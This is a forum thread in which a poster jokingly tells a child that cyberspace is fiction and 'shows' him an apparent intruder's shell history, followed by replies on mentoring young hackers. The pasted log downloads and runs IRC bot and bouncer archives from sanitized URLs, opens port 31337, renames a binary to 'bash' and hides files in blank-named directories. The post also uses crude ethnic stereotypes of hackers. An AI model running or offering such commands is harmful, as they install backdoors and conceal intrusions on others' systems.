I’m sorry Julian, there is no Cyberspace.



Because I’m a ‘Computer-guy’, a MILF I know, asked me to explain to her 8-year old, about Cyberspace.

The sermon went something like this:

_______ Start of Conversation ____________


I’m sorry Julian, there is no Cyberspace; its make-believe. A long time ago, before I was born, and before your Mum was born, an evil genius named Billy Gibson made it all up in his head in a story. He didn’t even own a computer, or an Xbox. He smoked a bunch of marijuana and invented it all. But, it was a good story, and it helped people who don’t know a lot about computers imagine it all. They made it into movies, videos, and graphic novels.

You can’t put on a cool helmet with funny glasses, and gloves with wires into your computer to open locks, see through TV cameras, and get free money for you and Mum. Computers and Hacking do not work that way.

There are a lot of neat things you can do with computers. You can play games in places that are like The Matrix, but if you want to be a Hacker, it is like going to school. You have read about computers, and know things like your Maths. And, like school learning this stuff is hard.

If you want to do things like you see in the videos, you have to study and practice. That takes a long time. You have to learn how to type really fast on the keyboard without looking at the keys. You have to learn about a lot of different programs. Most of these programs you don’t have, and you won’t be able to get until you are older. Even then, it is not going to be the same.

Cyberspace really looks like this (I show him a script):

w
uname -a
cd /var/tmp
ls -a
curl -0 URLsanitized/emech/aws.tar.gz ; tar zxvf aws.tar.zg :cd aws
ls -la
nano mech.set
pico mech.set
ls -a
nano 3
pico 3
pico 4
chmod +x *
./darwin
ls -a
ps x
curl -0 URLsanitized/PsyBncDRWN.tgz ; tar zxvf PsyBncDRWN.tgz ; cd psybnc ; chmod +x * ; ./psybnc
ps x
kill -9 PIDsanitized
/sbin/iptables I INPUT -d 0/0 -s 0/0 -p udp --dport 31337 -j ACCEPT
/ect/init.d/iptables save
/ect/init.d/iptables
w
curl -0 URLsanitized/PsyBncDRWN.tgz ; tar Zzxvf PsyBncDRWN.tgz ; cd psybnc ; mv psybnc bash ; chmod +x * ; sh ; PATH=:$PATH ; bash
./bash
w
uname -a
passwd
w
mkdir " "
cd " "
ls -a
mkdir " "
cd " "
ls -a
tar -xzvf emechdarwinp.tgz
rm -rf emechdarwinp.tgz
cd botzidarwin
ls -a
chmod +x *
pico unix1.users
chmod +x *
PATH=.:$PATH
init
ps -x
cd /var/tmp
ls -a
cd .dev
ls -a
pico ice.conf
pico config.h
cd ..
ls -a
rm -rf .dev
ps -x
kill -9 PIDsanitized

That’s pretty boring, isn’t it?



There are no videos in Cyberspace, all the cool stuff you see in the movies is not real. Being a Hacker in Cyberspace is really like doing your homework, its pretty boring. And, you don’t want to be one, because despite them having cool names, they’re not cool looking guys like Neo or smart kids like you. Hackers are fat, smelly old German and Russian guys with crummy clothes, bad teeth and glasses who sit in the cellar all day typing. You can’t even understand them, because they don’t speak English real well. They smoke foul smelling cigarettes too. You don’t want to be like that?

If I was you, I’d want to be a footballer. They look like Neo, they have cool stuff, and they can do pretty much everything they want. That’s the real world.

_______ End of Conversation ____________

Needless to say, like all “There is no Santa Clause conversations”, this met with disbelief and resentment.

I tried my best. How do you convince a child that s/he should practice their guitar, and not become a script kiddie?

[QUOTE]Originally posted by Black Jacque:
I’m sorry Julian, there is no Cyberspace.



Because I’m a ‘Computer-guy’, a MILF I know, asked me to explain to her 8-year old, about Cyberspace.

The sermon went something like this:

_______ Start of Conversation ____________


I’m sorry Julian, there is no Cyberspace; its make-believe. A long time ago, before I was born, and before your Mum was born, an evil genius named Billy Gibson made it all up in his head in a story. He didn’t even own a computer, or an Xbox. He smoked a bunch of marijuana and invented it all. But, it was a good story, and it helped people who don’t know a lot about computers imagine it all. They made it into movies, videos, and graphic novels.

You can’t put on a cool helmet with funny glasses, and gloves with wires into your computer to open locks, see through TV cameras, and get free money for you and Mum. Computers and Hacking do not work that way.

There are a lot of neat things you can do with computers. You can play games in places that are like The Matrix, but if you want to be a Hacker, it is like going to school. You have read about computers, and know things like your Maths. And, like school learning this stuff is hard.

If you want to do things like you see in the videos, you have to study and practice. That takes a long time. You have to learn how to type really fast on the keyboard without looking at the keys. You have to learn about a lot of different programs. Most of these programs you don’t have, and you won’t be able to get until you are older. Even then, it is not going to be the same.

Cyberspace really looks like this (I show him a script):

w
uname -a
cd /var/tmp
ls -a
curl -0 URLsanitized/emech/aws.tar.gz ; tar zxvf aws.tar.zg :cd aws
ls -la
nano mech.set
pico mech.set
ls -a
nano 3
pico 3
pico 4
chmod +x *
./darwin
ls -a
ps x
curl -0 URLsanitized/PsyBncDRWN.tgz ; tar zxvf PsyBncDRWN.tgz ; cd psybnc ; chmod +x * ; ./psybnc
ps x
kill -9 PIDsanitized
/sbin/iptables I INPUT -d 0/0 -s 0/0 -p udp --dport 31337 -j ACCEPT
/ect/init.d/iptables save
/ect/init.d/iptables
w
curl -0 URLsanitized/PsyBncDRWN.tgz ; tar Zzxvf PsyBncDRWN.tgz ; cd psybnc ; mv psybnc bash ; chmod +x * ; sh ; PATH=:$PATH ; bash
./bash
w
uname -a
passwd
w
mkdir " "
cd " "
ls -a
mkdir " "
cd " "
ls -a
tar -xzvf emechdarwinp.tgz
rm -rf emechdarwinp.tgz
cd botzidarwin
ls -a
chmod +x *
pico unix1.users
chmod +x *
PATH=.:$PATH
init
ps -x
cd /var/tmp
ls -a
cd .dev
ls -a
pico ice.conf
pico config.h
cd ..
ls -a
rm -rf .dev
ps -x
kill -9 PIDsanitized

That’s pretty boring, isn’t it?



There are no videos in Cyberspace, all the cool stuff you see in the movies is not real. Being a Hacker in Cyberspace is really like doing your homework, its pretty boring. And, you don’t want to be one, because despite them having cool names, they’re not cool looking guys like Neo or smart kids like you. Hackers are fat, smelly old German and Russian guys with crummy clothes, bad teeth and glasses who sit in the cellar all day typing. You can’t even understand them, because they don’t speak English real well. They smoke foul smelling cigarettes too. You don’t want to be like that?

If I was you, I’d want to be a footballer. They look like Neo, they have cool stuff, and they can do pretty much everything they want. That’s the real world.

_______ End of Conversation ____________

Needless to say, like all “There is no Santa Clause [sic] conversations”, this met with disbelief and resentment.

I tried my best. How do you convince a child that s/he should practice their guitar, and not become a script kiddie?

One way, of course, is to actually help him learn to be a real hacker, not a script kiddie. Writing viruses is not hacking, running prefab rootkits is not hacking, and so on.

Turn him loose on some of the password challenge sites that are available, and help him work his way through a few levels. It's fun and intriguing, but also can be hard and boring and labor-intensive. If it turns him off - fine, you've reached your objective. If he loves it and excels at it, then you can keep getting him started on the white-hat path. Understanding how to bypass security systems is essential to understanding how to protect them.

there are no true white hats... A white hat who states he's a true blue White Hat will never understand a black hat.

Technical skills aside, black hat hacking (as opposed to old skool cracking) is a mindset; a psychological product of past crimes of circumstance IMO

I don't really understand why you would want to steer a kid away from it..

Highly addictive, but the future's here and can't be ignored. I understand taht kids need to be lured away from the screen and get plenty of physical exercise, but the schools are very good at acheiving a mix aren't they? My lads get plenty of sports, culture, art, languages and sciences to balance their net time. So the challenge is to balance home life in a similar way IMO. Simple things like responsibility for household chores, intracting with family visits, caring for a pet, going to the cinema of out with friends will always suffice.

Cyberspace does exist, as a term for all things sci-fi and exciting. My kids love the actions movies (Transformers, The Matrix et al), the cgi films, playing xbox, ripping sessions for youtube, Bebo social networking etc, iPayer, video editing. Its here as a communications tool to foster socialising. No way i'd want to kill the excitement.

Hacking... well, as Bravus states, the dirge is boring, the success a high. My eldest is always taking apart controllers but i guess it helps his electronics classroom study in the same way as it did me, when i first connected two tape recorders via phono leads and copied Manic Miner on the ZX Spectrum. Ability must be encouraged, fostered and guided. Its much better than him hanging around bus shelters, robbing to feed a peer induced drug habit.

You mean to say ---- it's all fake? (Bursts into tears) But tell us about this MILF.

Yeah, I know all real hats, as opposed to conceptual hats, are shades of grey... that's just life.

But I guess more of my point (once I thought it through) was about the motivations... a 'real' hacker does it for the challenge and the thrill of achievement - not for the proceeds of crime and especially not for the enjoyment of destruction or of inconveniencing others.

A real hacker never, ever brags of his/her achievements - that way lies jail time and other inconveniences - but just quietly savours them and goes on to the next thing.

Thing is, if a kid is interested, they're going to learn somehow. And if they don't get mentored by someone with the better values and motivations, they'll go looking for the skills anyway, and are likely to fall in with people with the worse ones...